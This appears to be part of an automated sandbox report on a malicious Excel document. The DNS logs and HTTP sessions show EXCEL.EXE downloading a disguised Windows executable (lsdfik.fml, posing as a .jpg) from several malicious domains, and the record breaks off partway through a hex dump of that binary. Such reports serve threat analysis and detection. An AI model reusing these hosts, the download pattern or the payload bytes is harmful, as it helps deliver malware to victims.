Jul 6, 2021 15:52:21.108691931 CEST	8.8.8.8	192.168.2.22	0x4335	No error (0)	aws.amazon.com	tp.8e49140c2-frontier.amazon.com		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 15:52:21.108691931 CEST	8.8.8.8	192.168.2.22	0x4335	No error (0)	tp.8e49140c2-frontier.amazon.com	dr49lng3n1n2s.cloudfront.net		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 15:52:21.108691931 CEST	8.8.8.8	192.168.2.22	0x4335	No error (0)	dr49lng3n1n2s.cloudfront.net		13.225.75.73	A (IP address)	IN (0x0001)
Jul 6, 2021 15:52:22.744442940 CEST	8.8.8.8	192.168.2.22	0x96ce	No error (0)	astrocycle.download		172.67.213.115	A (IP address)	IN (0x0001)
Jul 6, 2021 15:52:22.744442940 CEST	8.8.8.8	192.168.2.22	0x96ce	No error (0)	astrocycle.download		104.21.37.209	A (IP address)	IN (0x0001)
Jul 6, 2021 15:52:22.811172009 CEST	8.8.8.8	192.168.2.22	0x45a5	No error (0)	astrocycle.download		172.67.213.115	A (IP address)	IN (0x0001)
Jul 6, 2021 15:52:22.811172009 CEST	8.8.8.8	192.168.2.22	0x45a5	No error (0)	astrocycle.download		104.21.37.209	A (IP address)	IN (0x0001)
Jul 6, 2021 15:52:24.371850967 CEST	8.8.8.8	192.168.2.22	0xa14d	No error (0)	aws.amazon.com	tp.8e49140c2-frontier.amazon.com		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 15:52:24.371850967 CEST	8.8.8.8	192.168.2.22	0xa14d	No error (0)	tp.8e49140c2-frontier.amazon.com	dr49lng3n1n2s.cloudfront.net		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 15:52:24.371850967 CEST	8.8.8.8	192.168.2.22	0xa14d	No error (0)	dr49lng3n1n2s.cloudfront.net		13.225.75.73	A (IP address)	IN (0x0001)
Jul 6, 2021 15:52:24.461946011 CEST	8.8.8.8	192.168.2.22	0x8ff4	No error (0)	aws.amazon.com	tp.8e49140c2-frontier.amazon.com		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 15:52:24.461946011 CEST	8.8.8.8	192.168.2.22	0x8ff4	No error (0)	tp.8e49140c2-frontier.amazon.com	dr49lng3n1n2s.cloudfront.net		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 15:52:24.461946011 CEST	8.8.8.8	192.168.2.22	0x8ff4	No error (0)	dr49lng3n1n2s.cloudfront.net		13.225.75.73	A (IP address)	IN (0x0001)
Jul 6, 2021 15:52:25.540648937 CEST	8.8.8.8	192.168.2.22	0xa456	No error (0)	astrocycle.download		172.67.213.115	A (IP address)	IN (0x0001)
Jul 6, 2021 15:52:25.540648937 CEST	8.8.8.8	192.168.2.22	0xa456	No error (0)	astrocycle.download		104.21.37.209	A (IP address)	IN (0x0001)
Jul 6, 2021 15:52:25.612750053 CEST	8.8.8.8	192.168.2.22	0x8e4a	No error (0)	astrocycle.download		172.67.213.115	A (IP address)	IN (0x0001)
Jul 6, 2021 15:52:25.612750053 CEST	8.8.8.8	192.168.2.22	0x8e4a	No error (0)	astrocycle.download		104.21.37.209	A (IP address)	IN (0x0001)
Jul 6, 2021 15:52:27.769787073 CEST	8.8.8.8	192.168.2.22	0x6005	No error (0)	aws.amazon.com	tp.8e49140c2-frontier.amazon.com		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 15:52:27.769787073 CEST	8.8.8.8	192.168.2.22	0x6005	No error (0)	tp.8e49140c2-frontier.amazon.com	dr49lng3n1n2s.cloudfront.net		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 15:52:27.769787073 CEST	8.8.8.8	192.168.2.22	0x6005	No error (0)	dr49lng3n1n2s.cloudfront.net		13.225.75.73	A (IP address)	IN (0x0001)
Jul 6, 2021 15:52:27.840760946 CEST	8.8.8.8	192.168.2.22	0xb77d	No error (0)	aws.amazon.com	tp.8e49140c2-frontier.amazon.com		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 15:52:27.840760946 CEST	8.8.8.8	192.168.2.22	0xb77d	No error (0)	tp.8e49140c2-frontier.amazon.com	dr49lng3n1n2s.cloudfront.net		CNAME (Canonical name)	IN (0x0001)
Jul 6, 2021 15:52:27.840760946 CEST	8.8.8.8	192.168.2.22	0xb77d	No error (0)	dr49lng3n1n2s.cloudfront.net		13.225.75.73	A (IP address)	IN (0x0001)
Jul 6, 2021 15:52:29.453766108 CEST	8.8.8.8	192.168.2.22	0x21e6	No error (0)	astrocycle.download		104.21.37.209	A (IP address)	IN (0x0001)
Jul 6, 2021 15:52:29.453766108 CEST	8.8.8.8	192.168.2.22	0x21e6	No error (0)	astrocycle.download		172.67.213.115	A (IP address)	IN (0x0001)
Jul 6, 2021 15:52:29.624525070 CEST	8.8.8.8	192.168.2.22	0x86c7	No error (0)	astrocycle.download		172.67.213.115	A (IP address)	IN (0x0001)
Jul 6, 2021 15:52:29.624525070 CEST	8.8.8.8	192.168.2.22	0x86c7	No error (0)	astrocycle.download		104.21.37.209	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

thousandsyears.download

voopeople.fun

uppercilio.fun

astrocycle.download

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49167	172.67.198.51	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Jul 6, 2021 15:52:19.808883905 CEST	0	OUT	GET /div/44376,8555986111.jpg HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: thousandsyears.download Connection: Keep-Alive
Jul 6, 2021 15:52:19.871190071 CEST	2	IN	HTTP/1.1 200 OK Date: Tue, 06 Jul 2021 13:52:19 GMT Content-Type: application/octet-stream Content-Length: 57856 Connection: keep-alive Content-Disposition: attachment; filename=lsdfik.fml Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6969 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v2?s=DUzIY8NjpYLnD8H1JMoEU5FsCi%2BXV1bDrV8YRruJgONWenQ0t7e6%2Fw8wPpCIo4IU8XFEPZenKfOXoZrfwtSLXLQnbtrUMpkpTmQmw%2BmW8J0jnzt0xjh0M8adINR04GIxKitoWD0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 66a9501c09d54e3d-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 09 8f f1 c7 4d ee 9f 94 4d ee 9f 94 4d ee 9f 94 3e 8c 9e 95 4e ee 9f 94 4d ee 9e 94 4b ee 9f 94 4d ee 9f 94 49 ee 9f 94 e8 87 9f 95 4c ee 9f 94 e8 87 9d 95 4c ee 9f 94 52 69 63 68 4d ee 9f 94 00 00 00 00 00 00 00 00 50 45 00 00 64 86 04 00 86 06 e4 60 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 00 00 00 3a 00 00 00 a4 00 00 00 00 00 00 20 13 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 01 00 00 04 00 00 f8 ba 01 00 01 00 60 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 a0 ec 00 00 fc 00 00 00 9c ed 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 cc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 28 38 00 00 00 10 00 00 00 3a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 7e 9e 00 00 00 50 00 00 00 a0 00 00 00 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 60 00 00 00 00 f0 00 00 00 02 00 00 00 de 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 cc 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$MMM>NMKMILLRichMPEd`" : `(P@.text(8: `.rdata~P>@@.data`@.pdata
Jul 6, 2021 15:52:19.871218920 CEST	3	IN	Data Raw: 00 00 01 00 00 02 00 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: @@
Jul 6, 2021 15:52:19.871232986 CEST	4	IN	Data Raw: f6 89 05 6b dc 00 00 c7 84 24 a4 00 00 00 23 02 00 00 8b 05 5a dc 00 00 89 44 24 4c c7 84 24 ac 00 00 00 0b 00 00 00 8b 05 49 dc 00 00 35 89 b4 5a f6 89 05 3e dc 00 00 c7 84 24 a8 00 00 00 17 00 00 00 48 8b 15 78 dc 00 00 8b 05 22 dc 00 00 41 89 Data Ascii: k$#ZD$L$I5Z>$Hx"AHT$ LA0ALT$ AH<<H$HL$@$G$G$GHHD$0$GD$/$GHD$@L$?${HD$@H
Jul 6, 2021 15:52:19.871248007 CEST	6	IN	Data Raw: 24 90 01 00 00 48 8b 8c 24 a8 00 00 00 48 8b 49 18 48 89 8c 24 a8 00 00 00 0f b7 84 24 b2 00 00 00 89 84 24 8c 01 00 00 48 8b 8c 24 a8 00 00 00 48 8b 49 20 48 89 4c 24 70 0f b7 84 24 b2 00 00 00 89 84 24 88 01 00 00 48 83 7c 24 70 00 0f 84 dc 06 Data Ascii: $H$HIH$$$H$HI HL$p$$H\|$p$$HL$pHIPHL$h$$HL$pfQHf$$$\|HD$`$$xD$/$tHT$`$p$pALD$`D$/$l
Jul 6, 2021 15:52:19.871260881 CEST	7	IN	Data Raw: b7 84 24 b2 00 00 00 89 84 24 f8 00 00 00 8b 44 24 34 83 c8 02 89 44 24 34 c7 84 24 f4 00 00 00 89 b4 5a f6 e9 e5 00 00 00 8b 84 24 84 00 00 00 8b 4c 24 44 81 f1 89 b4 5a f6 39 c8 0f 85 57 00 00 00 0f b7 84 24 b2 00 00 00 89 84 24 f0 00 00 00 48 Data Ascii: $$D$4D$4$Z$L$DZ9W$$H$H$HH$$D$4D$4$Zp$L$@Z9R$$H$H$HHw$$D$4
Jul 6, 2021 15:52:19.871273041 CEST	8	IN	Data Raw: 00 48 89 74 24 70 48 8b b4 24 a0 00 00 00 48 89 b4 24 60 03 00 00 48 8b b4 24 60 03 00 00 89 b4 24 6c 03 00 00 c7 84 24 84 00 00 00 00 00 00 00 8b 84 24 84 00 00 00 3b 84 24 80 00 00 00 0f 83 c4 00 00 00 48 8b 84 24 a0 00 00 00 48 89 84 24 50 03 Data Ascii: Ht$pH$H$`H$`$l$$;$H$H$PH$P$\HL$pHL$xH$H$@H$@$LLD$xILD$xL$L$0L$0D$<LL$pILL$pL$L$ L$ D$,
Jul 6, 2021 15:52:19.871285915 CEST	10	IN	Data Raw: 48 8b 94 24 a0 00 00 00 4c 8b 84 24 a8 00 00 00 41 8b 48 28 41 89 c8 4c 01 c2 48 89 54 24 50 48 8b 54 24 50 48 89 94 24 d0 01 00 00 48 8b 94 24 d0 01 00 00 89 94 24 dc 01 00 00 48 83 7c 24 50 00 0f 84 27 00 00 00 48 8b 44 24 50 48 8b 8c 24 a0 00 Data Ascii: H$L$AH(ALHT$PHT$PH$H$$H\|$P'HD$PH$HGL$(HDD$(E1H$H$TE1DHD$@HD$@H$H$$H;L$@qH$H$H$$HL$@DLHL
Jul 6, 2021 15:52:19.871298075 CEST	11	IN	Data Raw: 00 8b 44 24 60 89 84 24 44 01 00 00 48 8b 4c 24 38 0f b7 41 16 83 e0 01 83 f8 00 0f 84 31 00 00 00 8b 44 24 60 89 84 24 40 01 00 00 c6 44 24 67 00 48 8b 4c 24 68 48 89 8c 24 30 01 00 00 48 8b 8c 24 30 01 00 00 89 8c 24 3c 01 00 00 e9 3d 00 00 00 Data Ascii: D$`$DHL$8A1D$`$@D$gHL$hH$0H$0$<=HD$hH$ H$ $,D$gHL$hH$H$$D$`$HD$hH$H$$\|$`MD$`$HL$@AD$TD$T$D$TT$`)
Jul 6, 2021 15:52:19.871309996 CEST	13	IN	Data Raw: 00 00 48 8b 44 24 50 48 89 84 24 70 01 00 00 48 8b 84 24 70 01 00 00 89 84 24 7c 01 00 00 48 8b 4c 24 68 8b 01 89 c1 48 03 8c 24 88 00 00 00 48 89 4c 24 58 48 8b 4c 24 58 48 89 8c 24 60 01 00 00 48 8b 8c 24 60 01 00 00 89 8c 24 6c 01 00 00 48 8b Data Ascii: HD$PH$pH$p$\|HL$hH$HL$XHL$XH$`H$`$lHT$hBH$HT$@HT$@H$PH$P$\hH$$LHL$hAH$HL$XHL$XH$@H$@$HHT$XHT$@HT$@H$0H$0$<H
Jul 6, 2021 15:52:19.871321917 CEST	14	IN	Data Raw: 04 4a 44 89 c2 44 8b 04 91 44 89 c1 48 01 c8 48 89 44 24 30 48 8b 44 24 30 48 89 84 24 80 00 00 00 e9 70 00 00 00 48 8b 44 24 68 48 89 84 24 b8 00 00 00 48 8b 84 24 b8 00 00 00 89 84 24 c4 00 00 00 8b 44 24 4c 83 c0 01 89 44 24 4c e9 93 fe ff ff Data Ascii: JDDDHHD$0HD$0H$pHD$hH$H$$D$LD$LHD$hH$H$$HD$hH$H$$H$H$HH$LL$`DD$\T$[HL$PD$<HL$PHL$pHL$pL$\|HL$PD$+
Jul 6, 2021 15:52:19.872936964 CEST	15	IN	Data Raw: 4c 24 30 48 89 8c 24 a0 00 00 00 48 8b 8c 24 a0 00 00 00 89 8c 24 ac 00 00 00 e9 63 ff ff ff 48 8b 44 24 30 48 89 84 24 90 00 00 00 48 8b 84 24 90 00 00 00 89 84 24 9c 00 00 00 48 8b 44 24 50 48 89 84 24 80 00 00 00 48 8b 84 24 80 00 00 00 89 84 Data Ascii: L$0H$H$$cHD$0H$H$$HD$PH$H$$HD$hHD$hHHHT$HL$HD$HD$ HD$ D$,HL$H$H$$HD$H$H$$HL$HHHT$D$HL$H$

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
1	192.168.2.22	49168	172.67.194.117	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Jul 6, 2021 15:52:20.058921099 CEST	62	OUT	GET /div/44376,8555986111.jpg HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: voopeople.fun Connection: Keep-Alive
Jul 6, 2021 15:52:20.111803055 CEST	64	IN	HTTP/1.1 200 OK Date: Tue, 06 Jul 2021 13:52:20 GMT Content-Type: application/octet-stream Content-Length: 57856 Connection: keep-alive Content-Disposition: attachment; filename=lsdfik.fml Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6969 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v2?s=LVW6vHZp7K87ILsTe4p5DXCRp0UDq29H8gRgIkoTjLkuiKnJOfK4fXhKuNwrWccpuu1OS8ysSFRdzSxGfDLuqHR4mtbEatL7q%2BRlHekbOk1WEmYBS0L8XDY%2BWQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 66a9501d8d9d2c22-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 09 8f f1 c7 4d ee 9f 94 4d ee 9f 94 4d ee 9f 94 3e 8c 9e 95 4e ee 9f 94 4d ee 9e 94 4b ee 9f 94 4d ee 9f 94 49 ee 9f 94 e8 87 9f 95 4c ee 9f 94 e8 87 9d 95 4c ee 9f 94 52 69 63 68 4d ee 9f 94 00 00 00 00 00 00 00 00 50 45 00 00 64 86 04 00 86 06 e4 60 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 00 00 00 3a 00 00 00 a4 00 00 00 00 00 00 20 13 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 01 00 00 04 00 00 f8 ba 01 00 01 00 60 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 a0 ec 00 00 fc 00 00 00 9c ed 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 cc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 28 38 00 00 00 10 00 00 00 3a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 7e 9e 00 00 00 50 00 00 00 a0 00 00 00 3e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 60 00 00 00 00 f0 00 00 00 02 00 00 00 de 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 cc 00 00 00 00 00 01 00 00 02 00 00 00 e0 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$MMM>NMKMILLRichMPEd`" : `(P@.text(8: `.rdata~P>@@.data`@.pdata
Jul 6, 2021 15:52:20.111833096 CEST	65	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: @@
Jul 6, 2021 15:52:20.111845016 CEST	66	IN	Data Raw: 00 00 23 02 00 00 8b 05 5a dc 00 00 89 44 24 4c c7 84 24 ac 00 00 00 0b 00 00 00 8b 05 49 dc 00 00 35 89 b4 5a f6 89 05 3e dc 00 00 c7 84 24 a8 00 00 00 17 00 00 00 48 8b 15 78 dc 00 00 8b 05 22 dc 00 00 41 89 c0 48 89 54 24 20 4c 89 c2 41 b8 00 Data Ascii: #ZD$L$I5Z>$Hx"AHT$ LA0ALT$ AH<<H$HL$@$G$G$GHHD$0$GD$/$GHD$@L$?${HD$@HHD$@$
Jul 6, 2021 15:52:20.111856937 CEST	68	IN	Data Raw: 00 48 8b 49 18 48 89 8c 24 a8 00 00 00 0f b7 84 24 b2 00 00 00 89 84 24 8c 01 00 00 48 8b 8c 24 a8 00 00 00 48 8b 49 20 48 89 4c 24 70 0f b7 84 24 b2 00 00 00 89 84 24 88 01 00 00 48 83 7c 24 70 00 0f 84 dc 06 00 00 0f b7 84 24 b2 00 00 00 89 84 Data Ascii: HIH$$$H$HI HL$p$$H\|$p$$HL$pHIPHL$h$$HL$pfQHf$$$\|HD$`$$xD$/$tHT$`$p$pALD$`D$/$lLD$hA
Jul 6, 2021 15:52:20.111875057 CEST	69	IN	Data Raw: 00 00 8b 44 24 34 83 c8 02 89 44 24 34 c7 84 24 f4 00 00 00 89 b4 5a f6 e9 e5 00 00 00 8b 84 24 84 00 00 00 8b 4c 24 44 81 f1 89 b4 5a f6 39 c8 0f 85 57 00 00 00 0f b7 84 24 b2 00 00 00 89 84 24 f0 00 00 00 48 8b 8c 24 a8 00 00 00 48 8b 94 24 a0 Data Ascii: D$4D$4$Z$L$DZ9W$$H$H$HH$$D$4D$4$Zp$L$@Z9R$$H$H$HHw$$D$4D$4$
Jul 6, 2021 15:52:20.111886024 CEST	70	IN	Data Raw: 00 00 48 89 b4 24 60 03 00 00 48 8b b4 24 60 03 00 00 89 b4 24 6c 03 00 00 c7 84 24 84 00 00 00 00 00 00 00 8b 84 24 84 00 00 00 3b 84 24 80 00 00 00 0f 83 c4 00 00 00 48 8b 84 24 a0 00 00 00 48 89 84 24 50 03 00 00 48 8b 84 24 50 03 00 00 89 84 Data Ascii: H$`H$`$l$$;$H$H$PH$P$\HL$pHL$xH$H$@H$@$LLD$xILD$xL$L$0L$0D$<LL$pILL$pL$L$ L$ D$,$$
Jul 6, 2021 15:52:20.111901999 CEST	72	IN	Data Raw: a8 00 00 00 41 8b 48 28 41 89 c8 4c 01 c2 48 89 54 24 50 48 8b 54 24 50 48 89 94 24 d0 01 00 00 48 8b 94 24 d0 01 00 00 89 94 24 dc 01 00 00 48 83 7c 24 50 00 0f 84 27 00 00 00 48 8b 44 24 50 48 8b 8c 24 a0 00 00 00 48 8b 15 47 c7 00 00 89 4c 24 Data Ascii: AH(ALHT$PHT$PH$H$$H\|$P'HD$PH$HGL$(HDD$(E1H$H$TE1DHD$@HD$@H$H$$H;L$@qH$H$H$$HL$@DLHLHL$ L
Jul 6, 2021 15:52:20.111917973 CEST	73	IN	Data Raw: 48 8b 4c 24 38 0f b7 41 16 83 e0 01 83 f8 00 0f 84 31 00 00 00 8b 44 24 60 89 84 24 40 01 00 00 c6 44 24 67 00 48 8b 4c 24 68 48 89 8c 24 30 01 00 00 48 8b 8c 24 30 01 00 00 89 8c 24 3c 01 00 00 e9 3d 00 00 00 48 8b 44 24 68 48 89 84 24 20 01 00 Data Ascii: HL$8A1D$`$@D$gHL$hH$0H$0$<=HD$hH$ H$ $,D$gHL$hH$H$$D$`$HD$hH$H$$\|$`MD$`$HL$@AD$TD$T$D$TT$`)T$`D$`$
Jul 6, 2021 15:52:20.111936092 CEST	75	IN	Data Raw: 01 00 00 48 8b 84 24 70 01 00 00 89 84 24 7c 01 00 00 48 8b 4c 24 68 8b 01 89 c1 48 03 8c 24 88 00 00 00 48 89 4c 24 58 48 8b 4c 24 58 48 89 8c 24 60 01 00 00 48 8b 8c 24 60 01 00 00 89 8c 24 6c 01 00 00 48 8b 54 24 68 8b 42 10 89 c2 48 03 94 24 Data Ascii: H$p$\|HL$hH$HL$XHL$XH$`H$`$lHT$hBH$HT$@HT$@H$PH$P$\hH$$LHL$hAH$HL$XHL$XH$@H$@$HHT$XHT$@HT$@H$0H$0$<H$$,
Jul 6, 2021 15:52:20.111948013 CEST	76	IN	Data Raw: 48 01 c8 48 89 44 24 30 48 8b 44 24 30 48 89 84 24 80 00 00 00 e9 70 00 00 00 48 8b 44 24 68 48 89 84 24 b8 00 00 00 48 8b 84 24 b8 00 00 00 89 84 24 c4 00 00 00 8b 44 24 4c 83 c0 01 89 44 24 4c e9 93 fe ff ff 48 8b 44 24 68 48 89 84 24 a8 00 00 Data Ascii: HHD$0HD$0H$pHD$hH$H$$D$LD$LHD$hH$H$$HD$hH$H$$H$H$HH$LL$`DD$\T$[HL$PD$<HL$PHL$pHL$pL$\|HL$PD$+HD$HHD$
Jul 6, 2021 15:52:20.112761021 CEST	78	IN	Data Raw: 8b 8c 24 a0 00 00 00 89 8c 24 ac 00 00 00 e9 63 ff ff ff 48 8b 44 24 30 48 89 84 24 90 00 00 00 48 8b 84 24 90 00 00 00 89 84 24 9c 00 00 00 48 8b 44 24 50 48 89 84 24 80 00 00 00 48 8b 84 24 80 00 00 00 89 84 24 8c 00 00 00 48 c7 44 24 68 00 00 Data Ascii: $$cHD$0H$H$$HD$PH$H$$HD$hHD$hHHHT$HL$HD$HD$ HD$ D$,HL$H$H$$HD$H$H$$HL$HHHT$D$HL$H$H$

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49169	104.21.55.83	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Jul 6, 2021 15:52:20.286242008 CEST	125	OUT	GET /div/44376,8555986111.jpg HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: uppercilio.fun Connection: Keep-Alive
Jul 6, 2021 15:52:20.345911980 CEST	126	IN	HTTP/1.1 200 OK Date: Tue, 06 Jul 2021 13:52:20 GMT Content-Type: application/octet-stream Content-Length: 57856 Connection: keep-alive Content-Disposition: attachment; filename=lsdfik.fml Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 6968 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v2?s=jXU%2B%2Bp%2FJgbj0LFWGQRw7qzCR87h1m71IAfBCM%2Fcx3EQ26d91XjAK7mMowKv%2Bmml0pNeS0Z5pKhEuCU6I1xuhj%2BNCbdtJWyY1j2YtAJBmorQD3VCnx2jzVe6qNMU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 66a9501efb062c2a-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400, h3=":443"; ma=86400 Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 09 8f f1 c7 4d ee 9f 94 4d ee 9f 94 4d ee 9f 94 3e 8c 9e 95 4e ee 9f 94 4d ee 9e 94 4b ee 9f 94 4d ee 9f 94 49 ee 9f 94 e8 87 9f 95 4c ee 9f 94 e8 87 9d 95 4c ee 9f 94 52 69 63 68 4d ee 9f 94 00 00 00 00 00 00 00 00 50 45 00 00 64 86 04 00 86 06 e4 60 00 00 00 00 00 00 00 00 f0 00 22 20 0b 02 00 00 00 3a 00 00 00 a4 00 00 00 00 00 00 20 13 00 00 00 10 00 00 00 00 00 80 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 01 00 00 04 00 00 f8 ba 01 00 01 00 60 01 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 a0 ec 00 00 fc 00 00 00 9c ed 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 cc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 eb 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 28 38 00 00 00 10 00 00 00 3a 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 7e 9e 